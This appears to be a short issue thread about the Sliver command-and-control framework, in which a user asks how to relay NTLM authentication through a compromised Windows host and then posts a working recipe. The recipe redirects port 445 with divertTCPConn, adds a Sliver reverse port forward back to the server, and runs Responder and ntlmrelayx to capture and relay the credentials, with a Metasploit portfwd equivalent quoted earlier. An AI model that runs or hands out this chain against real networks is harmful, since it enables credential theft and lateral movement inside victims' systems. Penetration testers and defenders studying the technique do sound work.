Reverse Port Forward - Remote NTLM Relay

[m0xr4]

There is a reverse Port Forwarding option in Sliver since version 1.5.27, however i'm not sure this brings the same functionality as for example the port forwarding in metasploit?

Metasploit reverse port forwarding: portfwd add -R -L 127.0.0.1 -l 9445 -p 8445

Is there a way to forward connections coming to a compromised endpoint back to the sliver server? Would like to use this setup for NTLM relay in combination with Portbender/DivertTCP.

references:
https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
https://rastamouse.me/ntlm-relaying-via-cobalt-strike/

[moloch--]

Yes, the rportfwd command implements this feature.

[m0xr4]

got it working, thx for the response :)

if anyone is looking to do the same:

Forward TCP traffic from 445 to 8445 on compromised host
divertTCPConn.exe 445 8445

Add reverse Portforward on sliver session:
rportfwd add -r 127.0.0.1:445 -b <IP_of_compromised_host>:8445

Listen for incoming connections on sliver server
responder.py -I lo
ntlmrelayx.py -ip 127.0.0.1